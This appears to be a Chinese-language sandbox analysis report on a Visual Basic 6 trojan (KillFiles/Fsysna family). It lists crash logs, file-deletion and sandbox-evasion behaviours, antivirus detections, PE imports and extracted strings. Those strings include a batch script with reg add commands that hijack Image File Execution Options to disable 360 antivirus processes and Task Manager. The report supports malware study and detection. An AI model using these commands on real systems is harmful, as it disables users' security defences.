 success 0 0
1727545340.233875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.280875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635600
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635600
registers.ebp: 1635680
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.280875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636124
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636124
registers.ebp: 1636204
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.280875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635872
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635872
registers.ebp: 1635952
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.280875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.280875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636144
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636144
registers.ebp: 1636224
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.312875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635600
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635600
registers.ebp: 1635680
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.312875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1636124
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1636124
registers.ebp: 1636204
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
1727545340.312875
__exception__
exception.address: 0x76e8b727
exception.instruction: leave
exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.exception_code: 0xc000008f
registers.eax: 1635872
registers.ecx: 2
registers.edx: 0
registers.ebx: 8930872
registers.esp: 1635872
registers.ebp: 1635952
registers.esi: 8930872
registers.edi: 8930872
stacktrace: 
EbGetHandleOfExecutingProject+0x22b3 rtcPackDate-0xba9 msvbvm60+0xd0dcf @ 0x72a10dcf
rtcDoEvents+0x131 __vbaError-0x626 msvbvm60+0xce228 @ 0x72a0e228

 success 0 0
行为判定
动态指标
在 PE 资源中识别到外语 (1 个事件)
name RT_VERSION language LANG_CHINESE filetype None sublanguage SUBLANG_CHINESE_SIMPLIFIED offset 0x0000a9a4 size 0x0000024c
在文件系统上创建可执行文件 (50 out of 59 个事件)
file c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
file c:\Program Files (x86)\Mozilla Firefox\crashreporter.exe
file c:\Python27\Lib\distutils\command\wininst-7.1.exe
file c:\Python27\Lib\site-packages\pip\_vendor\distlib\w32.exe
file c:\Python27\python.exe
file c:\Python27\Lib\site-packages\pip\_vendor\distlib\t32.exe
file c:\Python27\Lib\site-packages\setuptools\cli-64.exe
file c:\Program Files (x86)\360\360TptMon\InstallTMDB.exe
file c:\aedfv\bin\Procmon.exe
file c:\Program Files (x86)\Mozilla Firefox\pingsender.exe
file c:\Python27\Lib\site-packages\setuptools\cli-32.exe
file C:\123.bat
file c:\Python27\Lib\site-packages\setuptools\gui-32.exe
file c:\Program Files (x86)\360\360DrvMgr\drv_uninst.exe
file c:\Program Files (x86)\Mozilla Firefox\plugin-container.exe
file c:\Program Files (x86)\Mozilla Firefox\maintenanceservice.exe
file c:\aedfv\bin\is32bit.exe
file c:\Program Files (x86)\360\360TptMon\feedback\360ScreenCapture.exe
file c:\Python27\Scripts\pip2.exe
file c:\gcoxh\bin\inject-x64.exe
file c:\Program Files (x86)\360\360TptMon\Uninstall.exe
file c:\Program Files (x86)\Mozilla Firefox\firefox.exe
file c:\Python27\Lib\distutils\command\wininst-9.0.exe
file c:\Python27\Lib\distutils\command\wininst-6.0.exe
file c:\Program Files (x86)\Mozilla Firefox\default-browser-agent.exe
file c:\aedfv\bin\inject-x86.exe
file c:\gcoxh\bin\execsc.exe
file c:\gcoxh\bin\Procmon.exe
file c:\Python27\Lib\distutils\command\wininst-9.0-amd64.exe
file c:\Python27\Scripts\pip.exe
file c:\aedfv\bin\inject-x64.exe
file c:\Program Files (x86)\Mozilla Firefox\minidump-analyzer.exe
file c:\Program Files (x86)\360\360TptMon\feedback\TptMonFeedBack.exe
file c:\Python27\Scripts\easy_install-2.7.exe
file c:\Program Files (x86)\360\360DrvMgr\feedback\DrvMgrFeedBack.exe
file c:\Program Files (x86)\360\360DrvMgr\LiveUpdate360.exe
file c:\Program Files (x86)\360\360DrvMgr\ScriptExecute.exe
file c:\Program Files (x86)\Mozilla Firefox\uninstall\helper.exe
file c:\Program Files (x86)\360\360DrvMgr\DrvInst64.exe
file c:\Python27\Lib\site-packages\pip\_vendor\distlib\t64.exe
file c:\Users\Administrator\Downloads\guanwang__360DrvMgrInstaller_beta.exe
file c:\gcoxh\bin\inject-x86.exe
file c:\aedfv\bin\execsc.exe
file c:\Python27\Lib\site-packages\setuptools\gui-64.exe
file c:\Python27\Lib\site-packages\setuptools\cli.exe
file c:\gcoxh\bin\is32bit.exe
file c:\Program Files (x86)\360\360TptMon\InstallTMDB64.exe
file c:\Program Files (x86)\Mozilla Firefox\updater.exe
file c:\Python27\Lib\distutils\command\wininst-8.0.exe
file c:\Program Files (x86)\Mozilla Firefox\private_browsing.exe
创建指向可执行文件的快捷方式 (6 个事件)
file c:\Users\Administrator\Links\RecentPlaces.lnk
file c:\Users\Administrator\Links\Desktop.lnk
file c:\Users\tu\Links\Downloads.lnk
file c:\Users\tu\Links\Desktop.lnk
file c:\Users\Administrator\Links\Downloads.lnk
file c:\Users\tu\Links\RecentPlaces.lnk
创建可疑进程 (1 个事件)
cmdline cmd.exe
将读写内存保护更改为可读执行（可能是为了避免在同时设置所有 RWX 标志时被检测） (2 个事件)
Time & API Arguments Status Return Repeated
1727545331.546875
NtProtectVirtualMemory
process_handle: 0xffffffff
base_address: 0x00350000
length: 24576
protection: 32 (PAGE_EXECUTE_READ)
process_identifier: 1932
success 0 0
1727545331.577875
NtProtectVirtualMemory
process_handle: 0xffffffff
base_address: 0x00350000
length: 40960
protection: 32 (PAGE_EXECUTE_READ)
process_identifier: 1932
success 0 0
网络通信
与未执行 DNS 查询的主机进行通信 (2 个事件)
host 114.114.114.114
host 8.8.8.8
通过文件的存在尝试检测Cuckoo Sandbox (3 个事件)
file c:\Python27\agent.py
file c:\gcoxh\analyzer.py
file c:\aedfv\analyzer.py
附加已知 multi-family 勒索软件文件扩展名到已加密的文件 (50 out of 78 个事件)
file c:\Python27\tcl\tcl8.5\encoding\cp869.enc
file c:\Python27\tcl\tcl8.5\encoding\cp855.enc
file c:\Python27\tcl\tcl8.5\encoding\macCyrillic.enc
file c:\Python27\tcl\tcl8.5\encoding\ksc5601.enc
file c:\Python27\tcl\tcl8.5\encoding\cp936.enc
file c:\Python27\tcl\tcl8.5\encoding\macGreek.enc
file c:\Python27\tcl\tcl8.5\encoding\cp1257.enc
file c:\Python27\tcl\tcl8.5\encoding\iso8859-1.enc
file c:\Python27\tcl\tcl8.5\encoding\macTurkish.enc
file c:\Python27\tcl\tcl8.5\encoding\cp775.enc
file c:\Python27\tcl\tcl8.5\encoding\cp865.enc
file c:\Python27\tcl\tcl8.5\encoding\cp866.enc
file c:\Python27\tcl\tcl8.5\encoding\iso8859-13.enc
file c:\Python27\tcl\tcl8.5\encoding\tis-620.enc
file c:\Python27\tcl\tcl8.5\encoding\cp874.enc
file c:\Python27\tcl\tcl8.5\encoding\cp1254.enc
file c:\Python27\tcl\tcl8.5\encoding\cp860.enc
file c:\Python27\tcl\tcl8.5\encoding\iso8859-15.enc
file c:\Python27\tcl\tcl8.5\encoding\jis0208.enc
file c:\Python27\tcl\tcl8.5\encoding\iso8859-14.enc
file c:\Python27\tcl\tcl8.5\encoding\iso8859-9.enc
file c:\Python27\tcl\tcl8.5\encoding\iso8859-3.enc
file c:\Python27\tcl\tcl8.5\encoding\cp850.enc
file c:\Python27\tcl\tcl8.5\encoding\cp1250.enc
file c:\Python27\tcl\tcl8.5\encoding\euc-kr.enc
file c:\Python27\tcl\tcl8.5\encoding\cp1256.enc
file c:\Python27\tcl\tcl8.5\encoding\gb1988.enc
file c:\Python27\tcl\tcl8.5\encoding\cp437.enc
file c:\Python27\tcl\tcl8.5\encoding\iso8859-4.enc
file c:\Python27\tcl\tcl8.5\encoding\cp1255.enc
file c:\Python27\tcl\tcl8.5\encoding\cp857.enc
file c:\Python27\tcl\tcl8.5\encoding\iso8859-8.enc
file c:\Python27\tcl\tcl8.5\encoding\cp1252.enc
file c:\Python27\tcl\tcl8.5\encoding\iso8859-10.enc
file c:\Python27\tcl\tcl8.5\encoding\macRomania.enc
file c:\Python27\tcl\tcl8.5\encoding\macUkraine.enc
file c:\Python27\tcl\tcl8.5\encoding\gb2312-raw.enc
file c:\Python27\tcl\tcl8.5\encoding\koi8-r.enc
file c:\Python27\tcl\tcl8.5\encoding\cp737.enc
file c:\Python27\tcl\tcl8.5\encoding\cp852.enc
file c:\Python27\tcl\tcl8.5\encoding\ascii.enc
file c:\Python27\tcl\tcl8.5\encoding\cp932.enc
file c:\Python27\tcl\tcl8.5\encoding\cp1258.enc
file c:\Python27\tcl\tcl8.5\encoding\gb2312.enc
file c:\Python27\tcl\tcl8.5\encoding\macThai.enc
file c:\Python27\tcl\tcl8.5\encoding\shiftjis.enc
file c:\Python27\tcl\tcl8.5\encoding\macCroatian.enc
file c:\Python27\tcl\tcl8.5\encoding\macRoman.enc
file c:\Python27\tcl\tcl8.5\encoding\iso8859-7.enc
file c:\Python27\tcl\tcl8.5\encoding\ebcdic.enc
从系统中删除大量文件，表明 ransomware、清除恶意软件或系统破坏 (50 out of 128 个事件)
file c:\Program Files\Windows Media Player\wmpshare.exe
file c:\Python27\pythonw.exe
file c:\Program Files (x86)\Mozilla Firefox\pingsender.exe
file c:\Python27\Lib\site-packages\setuptools\cli-32.exe
file c:\Program Files\Internet Explorer\ielowutil.exe
file c:\Program Files (x86)\360\360TptMon\360TptMon.exe
file c:\gcoxh\bin\Procmon.exe
file c:\Python27\Lib\distutils\command\wininst-9.0-amd64.exe
file c:\aedfv\bin\inject-x64.exe
file c:\Windows\twunk_16.exe
file c:\Program Files (x86)\Windows Media Player\wmplayer.exe
file c:\Users\Administrator\Downloads\guanwang__360DrvMgrInstaller_beta.exe
file c:\aedfv\bin\execsc.exe
file c:\Program Files (x86)\360\360DrvMgr\360DrvMgr.exe
file c:\Python27\Lib\site-packages\setuptools\gui-64.exe
file c:\Program Files\Windows Media Player\wmprph.exe
file c:\Windows\write.exe
file c:\Program Files (x86)\Mozilla Firefox\private_browsing.exe
file c:\Python27\Scripts\pip2.7.exe
file c:\Program Files\Internet Explorer\ieinstal.exe
file c:\Program Files\Windows Media Player\WMPSideShowGadget.exe
file c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
file c:\Program Files (x86)\Mozilla Firefox\crashreporter.exe
file c:\Program Files\Windows NT\Accessories\wordpad.exe
file c:\Python27\python.exe
file c:\Python27\Lib\site-packages\setuptools\cli-64.exe
file c:\Program Files\Windows Media Player\wmpnetwk.exe
file c:\Program Files (x86)\Windows Media Player\WMPDMC.exe
file c:\Program Files\Common Files\Microsoft Shared\ink\ConvertInkStore.exe
file c:\Program Files (x86)\Mozilla Firefox\plugin-container.exe
file c:\Python27\Lib\site-packages\setuptools\gui-32.exe
file c:\Windows\regedit.exe
file c:\Program Files (x86)\Common Files\microsoft shared\ink\TabTip32.exe
file c:\Program Files (x86)\360\360TptMon\feedback\360ScreenCapture.exe
file c:\Program Files (x86)\Windows Media Player\setup_wm.exe
file c:\Python27\Lib\distutils\command\wininst-9.0.exe
file c:\Program Files (x86)\Mozilla Firefox\default-browser-agent.exe
file c:\aedfv\bin\inject-x86.exe
file c:\Program Files (x86)\Common Files\microsoft shared\ink\mip.exe
file c:\Program Files\Windows Media Player\WMPDMC.exe
file c:\Program Files\Common Files\Microsoft Shared\ink\InkWatson.exe
file c:\Python27\Scripts\pip.exe
file c:\Python27\Scripts\easy_install-2.7.exe
file c:\Program Files\Common Files\Microsoft Shared\ink\TabTip.exe
file c:\Program Files (x86)\Internet Explorer\ExtExport.exe
file c:\Program Files (x86)\360\360TptMon\InstallTMDB64.exe
file c:\Program Files (x86)\Mozilla Firefox\updater.exe
file c:\install.exe
file c:\Program Files (x86)\Mozilla Firefox\maintenanceservice_installer.exe
file c:\Python27\Lib\site-packages\setuptools\gui.exe
文件已被 VirusTotal 上 60 个反病毒引擎识别为恶意 (50 out of 60 个事件)
ALYac Trojan.Agent.DVQW
APEX Malicious
AVG Win32:Malware-gen
Acronis suspicious
Ad-Aware Trojan.Agent.DVQW
AhnLab-V3 Trojan/Win32.Fsysna.R269415
Antiy-AVL Trojan/Win32.Fsysna.FCCR
Arcabit Trojan.Agent.DVQW
Avast Win32:Malware-gen
Avira TR/Dropper.Gen
BitDefender Trojan.Agent.DVQW
BitDefenderTheta AI:Packer.FA168C051F
Bkav W32.HfsOval.
CAT-QuickHeal Trojan.FsysnaVMF.S7094755
ClamAV Win.Malware.Fsysna-7004456-0
Comodo TrojWare.Win32.Ditertag.DI@8k2up6
Cybereason malicious.6ce9aa
Cylance Unsafe
Cyren W32/Fsysna.E.gen!Eldorado
DrWeb Trojan.KillFiles.64121
ESET-NOD32 Win32/KillFiles.A
Emsisoft Trojan.Agent.DVQW (B)
F-Prot W32/Fsysna.E.gen!Eldorado
F-Secure Trojan.TR/Dropper.Gen
FireEye Generic.mg.22b07806ce9aad2b
Fortinet W32/Fsysna.FCCR!tr
GData Trojan.Agent.DVQW
Ikarus Trojan.Agent
Invincea heuristic
Jiangmin Trojan.Fsysna.kfk
K7AntiVirus Trojan ( 0000bbc81 )
K7GW Trojan ( 0000bbc81 )
Kaspersky Trojan.Win32.Fsysna.fcpq
MAX malware (ai score=88)
Malwarebytes Hijack.AssocExt
MaxSecure Trojan.Fsysna.fcpq
McAfee Trojan-FQXU!22B07806CE9A
McAfee-GW-Edition BehavesLike.Win32.Autorun.tm
MicroWorld-eScan Trojan.Agent.DVQW
Microsoft Trojan:Win32/Musecador
NANO-Antivirus Trojan.Win32.Fsysna.fpivmo
Panda Trj/Genetic.gen
Qihoo-360 HEUR/QVM41.1.6F0D.Malware.Gen
Rising Worm.KillFiles!8.53B3 (TFE:dGZlOgMT2kV9DhKUEg)
Sangfor Malware
SentinelOne DFI - Malicious PE
Sophos Troj/VB-KOX
Symantec Trojan Horse
TACHYON Trojan/W32.VB-Fsysna.Zen
Tencent Malware.Win32.Gencirc.10b3cff1
可视化分析
二进制图像
数据导入图像 288x288
数据导入图像 224x224
数据导入图像 192x192
数据导入图像 160x160
数据导入图像 128x128
数据导入图像 96x96
数据导入图像 64x64
数据导入图像 32x32
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2019-04-20 18:22:04

PE Imphash

d2bf2bc66c5e49a85254cd29b19046bd

Sections

Name Virtual Address Virtual Size Size of Raw Data Entropy
.text 0x00001000 0x00007df0 0x00008000 6.058616924670466
.data 0x00009000 0x00000b40 0x00001000 0.0
.rsrc 0x0000a000 0x00001000 0x00001000 4.416328167746471

Resources

Name Offset Size Language Sub-language File type
RT_ICON 0x0000a0e8 0x000008a8 LANG_NEUTRAL SUBLANG_NEUTRAL None
RT_GROUP_ICON 0x0000a990 0x00000014 LANG_NEUTRAL SUBLANG_NEUTRAL None
RT_VERSION 0x0000a9a4 0x0000024c LANG_CHINESE SUBLANG_CHINESE_SIMPLIFIED None

Imports

Library MSVBVM60.DLL:
• 0x401000 _CIcos
• 0x401004 _adj_fptan
• 0x401008 __vbaStrI4
• 0x40100c __vbaVarMove
• 0x401010 __vbaAryMove
• 0x401014 __vbaFreeVar
• 0x401018 __vbaStrVarMove
• 0x40101c __vbaLenBstr
• 0x401020 __vbaFreeVarList
• 0x401024 __vbaEnd
• 0x401028 _adj_fdiv_m64
• 0x40102c __vbaFreeObjList
• 0x401030 _adj_fprem1
• 0x401034 __vbaStrCat
• 0x401038 __vbaError
• 0x40103c __vbaSetSystemError
• 0x401044 _adj_fdiv_m32
• 0x401048 __vbaAryDestruct
• 0x40104c __vbaExitProc
• 0x401050 __vbaVarForInit
• 0x401054 None
• 0x401058 None
• 0x40105c __vbaObjSet
• 0x401060 __vbaOnError
• 0x401064 _adj_fdiv_m16i
• 0x401068 _adj_fdivr_m16i
• 0x40106c None
• 0x401070 _CIsin
• 0x401074 __vbaErase
• 0x401078 __vbaChkstk
• 0x40107c __vbaGosubFree
• 0x401080 __vbaFileClose
• 0x401084 EVENT_SINK_AddRef
• 0x40108c None
• 0x401090 __vbaAryConstruct2
• 0x401094 __vbaPutOwner4
• 0x401098 __vbaI2I4
• 0x40109c DllFunctionCall
• 0x4010a0 __vbaFpUI1
• 0x4010a4 __vbaRedimPreserve
• 0x4010a8 __vbaStrR4
• 0x4010ac _adj_fpatan
• 0x4010b4 None
• 0x4010b8 __vbaRedim
• 0x4010bc EVENT_SINK_Release
• 0x4010c0 __vbaNew
• 0x4010c4 None
• 0x4010c8 __vbaUI1I2
• 0x4010cc _CIsqrt
• 0x4010d4 __vbaUI1I4
• 0x4010d8 __vbaExceptHandler
• 0x4010dc __vbaPrintFile
• 0x4010e0 __vbaStrToUnicode
• 0x4010e4 None
• 0x4010e8 _adj_fprem
• 0x4010ec _adj_fdivr_m64
• 0x4010f0 __vbaGosub
• 0x4010f4 None
• 0x4010f8 __vbaFPException
• 0x4010fc None
• 0x401100 __vbaGetOwner3
• 0x401104 __vbaStrVarVal
• 0x401108 __vbaVarCat
• 0x40110c __vbaGetOwner4
• 0x401110 __vbaI2Var
• 0x401114 __vbaLsetFixstrFree
• 0x401118 None
• 0x40111c _CIlog
• 0x401120 __vbaErrorOverflow
• 0x401124 __vbaFileOpen
• 0x401128 __vbaVar2Vec
• 0x40112c __vbaNew2
• 0x401130 None
• 0x401134 None
• 0x401138 None
• 0x40113c _adj_fdiv_m32i
• 0x401140 _adj_fdivr_m32i
• 0x401144 None
• 0x401148 __vbaStrCopy
• 0x40114c __vbaVarSetObj
• 0x401150 __vbaFreeStrList
• 0x401154 __vbaDerefAry1
• 0x401158 _adj_fdivr_m32
• 0x40115c _adj_fdiv_r
• 0x401160 None
• 0x401164 None
• 0x401168 __vbaVarTstNe
• 0x40116c None
• 0x401170 __vbaI4Var
• 0x401174 __vbaVarAdd
• 0x401178 __vbaAryLock
• 0x40117c __vbaVarDup
• 0x401180 __vbaStrToAnsi
• 0x401188 __vbaFpI4
• 0x40118c __vbaVarCopy
• 0x401190 None
• 0x401198 _CIatan
• 0x40119c __vbaStrMove
• 0x4011a0 __vbaStrVarCopy
• 0x4011a4 _allmul
• 0x4011a8 __vbaLenVarB
• 0x4011ac _CItan
• 0x4011b0 __vbaAryUnlock
• 0x4011b4 __vbaFPInt
• 0x4011b8 __vbaVarForNext
• 0x4011bc _CIexp
• 0x4011c0 __vbaFreeStr
• 0x4011c4 __vbaFreeObj
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
